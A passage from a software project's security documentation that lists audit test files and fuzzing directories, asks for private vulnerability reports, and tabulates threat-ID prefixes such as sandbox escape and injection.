  • Audit PoC Tests: tests/security_audit_pocs.rs - 2026-03 deep audit findings
  • Fuzz Testing: fuzz/ - Parser and lexer fuzzing

§Reporting Security Issues

If you discover a security vulnerability, please report it privately via GitHub Security Advisories rather than opening a public issue.

§Threat ID Reference

All threats use stable IDs in the format TM-<CATEGORY>-<NUMBER>:

PrefixCategory
TM-DOSDenial of Service
TM-ESCSandbox Escape
TM-INFInformation Disclosure
TM-INJInjection
TM-NETNetwork Security
TM-ISOMulti-Tenant Isolation
TM-INTInternal Error Handling
TM-LOGLogging Security
TM-GITGit Security
TM-PYPython/Monty Security
TM-UNIUnicode Security

Full threat analysis: specs/006-threat-model.md